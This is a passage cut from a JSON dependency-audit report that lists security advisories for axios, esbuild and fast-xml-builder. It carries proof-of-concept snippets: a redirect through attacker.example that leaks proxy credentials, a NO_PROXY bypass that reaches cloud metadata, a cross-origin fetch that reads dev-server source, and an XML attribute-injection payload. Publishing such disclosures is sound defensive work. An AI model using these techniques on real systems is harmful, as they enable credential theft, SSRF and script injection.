Technical Details\n\nIn affected v1 releases, `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is selected, but redirect handling calls `setProxy()` again without first clearing any existing proxy authorization header.\n\nIf the redirected URL resolves to no proxy, `setProxy()` does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale `Proxy-Authorization` header to the final origin.\n\nThe v1 fix in `afca61a` adds an `isRedirect` path that deletes any case variant of `Proxy-Authorization` before proxy settings are re-applied on redirect. The v0 backport in `2af6116` fixed the 0.x line for `0.32.0`.\n\n### Proof of Concept of Attack\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\nawait axios.get('http://attacker.example/start');\n```\n\nAttacker-controlled HTTP endpoint:\n\n```http\nHTTP/1.1 302 Found\nLocation: https://attacker.example/final\n```\n\nExpected result on affected versions:\n\n```text\nhttps://attacker.example/final receives:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected result on fixed versions:\n\n```text\nhttps://attacker.example/final receives no Proxy-Authorization header\n```\n\n### Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually.\n\nAvoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.\n\nEnsure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAxios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a `Proxy-Authorization` header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale `Proxy-Authorization` header is not cleared. As a result, the redirect target can receive the proxy credential directly.\n\nThis issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses `HTTP_PROXY` with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when `HTTPS_PROXY` is unset or the redirect target is excluded by `NO_PROXY`.\n\n### Details\nIn the current implementation:\n\n- `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is in use.\n- On redirects, Axios re-invokes `setProxy()` for the redirected request.\n- If the redirected URL re-evaluates to \"no proxy\", `setProxy()` does not clear the previously added `Proxy-Authorization` header.\n- The redirected request therefore reuses the stale header and sends it to the final origin.\n\nRelevant code locations:\n\n- `lib/adapters/http.js`\n- `setProxy()` adds `Proxy-Authorization`\n- redirect handling re-applies proxy logic through `beforeRedirects.proxy`\n- no cleanup is performed when the recomputed redirect request no longer uses a proxy\n\n### PoC\n1. The victim sends `GET http://\u003cattacker-site\u003e/start`\n2. The request goes through a local authenticated `corp proxy`\n3. The attacker-controlled HTTP endpoint returns `302 Location: https://\u003cattacker-site\u003e/final`\n4. The redirected HTTPS request no longer uses a proxy\n5. The attacker-controlled HTTPS endpoint receives the stale `Proxy-Authorization` header\n\nObserved output:\n\n```text\n[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz\n[attacker-http] GET /start\n[attacker-https] GET /final\n[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz\nLeak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.\n```\n\nThis demonstrates that the proxy credential is exposed to the redirect target origin.\n\n### Impact\nExposes authenticated proxy credentials to an attacker-controlled origin.\n\u003c/details\u003e\n\n---",
|
||
"id": "GHSA-j5f8-grm9-p9fc",
|
||
"modified": "2026-06-04T14:30:08.120771874Z",
|
||
"published": "2026-06-04T14:15:01Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/pull/10794"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/axios/axios"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/releases/tag/v0.32.0"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/releases/tag/v1.16.0"
|
||
}
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-p92q-9vqr-4j8v/GHSA-p92q-9vqr-4j8v.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.0.0"
|
||
},
|
||
{
|
||
"fixed": "1.16.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 0.31.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-p92q-9vqr-4j8v/GHSA-p92q-9vqr-4j8v.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "0.32.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44487"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-201"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-06-04T14:19:53Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "## Summary\n\nAxios’s Node.js HTTP adapter may forward a `Proxy-Authorization` header to a redirected origin during specific proxy-to-direct redirect flows.\n\nThis affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.\n\n## Impact\n\nA malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.\n\nThe leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.\n\nThe practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.\n\n## Affected Functionality\n\nAffected functionality requires all of the following:\n\n- Axios running in Node.js with the HTTP adapter.\n- An initial `http://` request using an authenticated proxy from `config.proxy` or proxy environment variables.\n- Redirect following enabled.\n- A redirect target for which no proxy applies, such as no matching `HTTPS_PROXY` or a matching `NO_PROXY`.\n- A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.\n\nUnaffected functionality includes browser adapters, requests with `maxRedirects: 0`, requests without proxy credentials, and redirect flows where the redirect layer strips `Proxy-Authorization` before axios reconfigures the redirected request.\n\n## Technical Details\n\nIn affected versions, `lib/adapters/http.js` adds `Proxy-Authorization` in `setProxy()` when a proxy with credentials is used.\n\nAxios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, `setProxy()` did not clear a `Proxy-Authorization` header inherited from the previous request options. If `follow-redirects` did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.\n\nThe `1.x` fix in commit `afca61a` changes `setProxy(options, configProxy, location, isRedirect)` so redirect re-invocation removes every case variant of `Proxy-Authorization` before applying proxy settings for the next hop. Regression tests in `tests/unit/adapters/http.test.js` cover no-proxy redirects, `NO_PROXY`, different proxy targets, casing variants, and an end-to-end redirect flow.\n\nThe `0.x` fixed release `0.32.0` includes a backport-style `removeProxyAuthorization()` guard in `lib/adapters/http.js`.\n\n## Proof of Concept of Attack\n\nSafe local outline using dummy credentials:\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\n// The local HTTP proxy receives this request and returns:\n// HTTP/1.1 302 Found\n// Location: https://attacker.test/final\nawait axios.get('http://attacker.test/start');\n```\n\nExpected vulnerable behaviour:\n\n```text\nProxy receives initial request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n\nFinal HTTPS origin receives redirected request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected fixed behaviour:\n\n```text\nFinal HTTPS origin receives no Proxy-Authorization header.\n```\n\n## Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually, ensuring `Proxy-Authorization` is not copied to requests that are not sent through the proxy.\n\nAvoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.\n\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\n\nAxios’s Node.js `http` adapter can incorrectly forward a retained `Proxy-Authorization` header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.\n\nWhen an initial HTTP request is sent through an authenticated `HTTP_PROXY`, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale `Proxy-Authorization` header and forwards it to the final origin.\n\n### Details\n\nThe issue occurs during a proxy-to-direct transition across redirects.\n\nWhen Axios sends an initial HTTP request through an authenticated `HTTP_PROXY`, it correctly includes `Proxy-Authorization` for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.\n\nIn the affected flow, the final HTTPS origin receives a `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nWhether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent.\n\n#### Root Cause Analysis\n\nBased on code review, Axios appears to create the stale header condition in its Node.js `http` adapter.\n\nIn lib/adapters/http.js:\n- When a proxy is used, Axios adds `Proxy-Authorization` in setProxy().\n- Axios also re-runs proxy resolution after redirects via its redirect hook.\n- However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.\n\nAs a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.\n\nA dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.\n\n#### Client Conditions\n- the initial HTTP request uses an authenticated `HTTP_PROXY`\n- no proxy applies to the redirected HTTPS URL (for example, no `HTTPS_PROXY` is configured)\n- redirects are followed\n- the redirect is treated as same-host by the redirect layer\n\nUnder that redirect shape, the retained `Proxy-Authorization` header is not removed before the redirected request is sent to the final HTTPS origin.\n\n### Reproduction Outline\n\nDetailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.\n\nThe issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.\n\nThe issue was confirmed under the following conditions:\n\n- axios 1.13.6\n- follow-redirects 1.15.11\n- an authenticated proxy applying to the initial HTTP request\n- no proxy applying to the redirected HTTPS URL\n- redirects enabled\n- an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer\n\n#### Observed behavior\n\n- The initial HTTP request is sent through the proxy and includes `Proxy-Authorization`.\n- The redirected HTTPS request is sent directly to the final origin.\n- The redirected HTTPS request still includes the previously generated `Proxy-Authorization` header.\n- The final origin can receive a `Proxy-Authorization` header value that was intended only for the proxy.\n\n#### Expected behavior\n\nAxios should not send the `Proxy-Authorization` header on a redirected request that is no longer sent through a proxy.\n\n### Impact\n\nUnder the affected redirect and proxy configuration, the final HTTPS origin may receive a retained `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nIf that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.\n\u003c/details\u003e\n\n---",
|
||
"id": "GHSA-p92q-9vqr-4j8v",
|
||
"modified": "2026-06-04T14:30:08.116988071Z",
|
||
"published": "2026-06-04T14:19:53Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/axios/axios"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/releases/tag/v0.32.0"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/releases/tag/v1.16.0"
|
||
}
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pjwm-pj3p-43mv/GHSA-pjwm-pj3p-43mv.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.0.0"
|
||
},
|
||
{
|
||
"fixed": "1.16.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 0.31.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pjwm-pj3p-43mv/GHSA-pjwm-pj3p-43mv.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "axios",
|
||
"purl": "pkg:npm/axios"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "0.32.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44492"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-918"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-29T15:59:30Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0): \n\n```javascript \n const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); \n const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host); \n \n // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix \n return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost)); \n```\n \nThe WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; \n \n// All three should return true (bypass proxy). Only the first two do. \nconsole.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] \nconsole.log(shouldBypassProxy('http://[::1]/')); // true [OK] \nconsole.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false \u003c- bypass \nconsole.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false \u003c- bypass\n\n``` \n \nNode.js routes ::ffff:7f00:1 to 127.0.0.1: \n\n``` \n// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service \n// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. \n``` \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. \n \n#### Fix \n \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: \n \n ```javascript \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i; \nconst ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; \n \nfunction hexToIPv4(a, b) { \n const hi = parseInt(a, 16), lo = parseInt(b, 16); \n return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`; \n} \n \nconst normalizeNoProxyHost = (hostname) =\u003e { \n if (!hostname) return hostname; \n if (hostname[0] === '[' \u0026\u0026 hostname.at(-1) === ']')\n hostname = hostname.slice(1, -1); \n hostname = hostname.replace(/\\.+$/, '').toLowerCase();\n \n let m; \n if ((m = hostname.match(ipv4MappedDotted))) return m[1]; \n if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); \n return hostname; \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.",
|
||
"id": "GHSA-pjwm-pj3p-43mv",
|
||
"modified": "2026-06-01T20:14:14.288658251Z",
|
||
"published": "2026-05-29T15:59:30Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/axios/axios"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-57w2-2w5g-vg5w"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "esbuild",
|
||
"version": "0.21.5",
|
||
"ecosystem": "npm"
|
||
},
|
||
"dependency_groups": [
|
||
"dev"
|
||
],
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-67mh-4wv8-2f99"
|
||
],
|
||
"aliases": [
|
||
"GHSA-67mh-4wv8-2f99"
|
||
],
|
||
"max_severity": "5.3"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 0.24.2",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-67mh-4wv8-2f99/GHSA-67mh-4wv8-2f99.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "esbuild",
|
||
"purl": "pkg:npm/esbuild"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "0.25.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-346"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-02-10T17:48:07Z",
|
||
"nvd_published_at": null,
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Summary\n\nesbuild allows any websites to send any request to the development server and read the response due to default CORS settings.\n\n### Details\n\nesbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.\n\nhttps://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121\nhttps://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363\n\n**Attack scenario**:\n\n1. The attacker serves a malicious web page (`http://malicious.example.com`).\n1. The user accesses the malicious web page.\n1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.\n1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.\n\nIn this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by\n\n- Fetching `/index.html`: normally you have a script tag here\n- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files\n- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e =\u003e console.log(e.type, e.data))`)\n- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file\n\nThe scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.\n\n### PoC\n\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip)\n2. Extract it and move to that directory\n1. Run `npm i`\n1. Run `npm run watch`\n1. Run `fetch('http://127.0.0.1:8000/app.js').then(r =\u003e r.text()).then(content =\u003e console.log(content))` in a different website's dev tools.\n\n\n\n### Impact\n\nUsers using the serve feature may get the source code stolen by malicious websites.",
|
||
"id": "GHSA-67mh-4wv8-2f99",
|
||
"modified": "2026-02-04T02:50:58.022803Z",
|
||
"published": "2025-02-10T17:48:07Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/evanw/esbuild/commit/de85afd65edec9ebc44a11e245fd9e9a2e99760d"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/evanw/esbuild"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-46mq-4mfm-mq46"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "esbuild enables any website to send any requests to the development server and read the response"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "fast-xml-builder",
|
||
"version": "1.1.5",
|
||
"ecosystem": "npm"
|
||
},
|
||
"dependency_groups": [
|
||
"optional"
|
||
],
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-45c6-75p6-83cc"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44664",
|
||
"GHSA-45c6-75p6-83cc"
|
||
],
|
||
"max_severity": "6.1"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-5wm8-gmm8-39j9"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44665",
|
||
"GHSA-5wm8-gmm8-39j9"
|
||
],
|
||
"max_severity": "8.7"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-45c6-75p6-83cc/GHSA-45c6-75p6-83cc.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "fast-xml-builder",
|
||
"purl": "pkg:npm/fast-xml-builder"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "1.1.5"
|
||
},
|
||
{
|
||
"fixed": "1.1.6"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
],
|
||
"versions": [
|
||
"1.1.5"
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44664"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-91"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-08T16:27:28Z",
|
||
"nvd_published_at": "2026-05-13T16:16:58Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "# Summary\nThe fix for https://github.com/advisories/GHSA-gh4j-gqv2-49f6 in fast-xml-parser sanitizes `--` sequences in XML comment content using .replace(/--/g, '- -'). This skip the values containing three consecutive dashes (e.g., ---\u003e...), allowing an attacker to break out of an XML comment and inject arbitrary XML/HTML content.\n\n### Impact\nAny application with comment property enabled allow attacker to inject malicious or unwanted code like JS script tag in the XML/HTML output.\n\n### Workarounds\nCheck for the presence of 3 consecutive dashes externally in the property value used for comment tag.",
|
||
"id": "GHSA-45c6-75p6-83cc",
|
||
"modified": "2026-05-14T20:48:44.040133Z",
|
||
"published": "2026-05-08T16:27:28Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-45c6-75p6-83cc"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44664"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/NaturalIntelligence/fast-xml-builder"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-7hpm-mm6g-4846"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "fast-xml-builder Comment Value regex can be bypassed"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 1.1.6",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-5wm8-gmm8-39j9/GHSA-5wm8-gmm8-39j9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "fast-xml-builder",
|
||
"purl": "pkg:npm/fast-xml-builder"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "1.1.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44665"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-611",
|
||
"CWE-91"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-08T16:29:10Z",
|
||
"nvd_published_at": "2026-05-13T16:16:59Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "# Summary\nWhen an input data has quotes in attribute values but process entities is not enabled, it breaks the attribute value into multiple attributes. This gives the room for an attacker to insert unwanted attributes to the XML/HTML.\n\n## Detail\n\nMalicious Input\n```\n{\n a: {\n \"@_attr\": '\" onClick=\"alert(1)'\n }\n}\n```\n\nOutput\n```xml\n\u003ca attr=\"\" onClick=\"alert(1)\"\u003e\u003c/a\u003e\n```\n\n### Workarounds\nIf you're not ignoring attributes then keep processEntities flag true.",
|
||
"id": "GHSA-5wm8-gmm8-39j9",
|
||
"modified": "2026-05-14T20:48:46.153952Z",
|
||
"published": "2026-05-08T16:29:10Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-5wm8-gmm8-39j9"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44665"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/NaturalIntelligence/fast-xml-builder"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-597g-f23h-f9v7"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
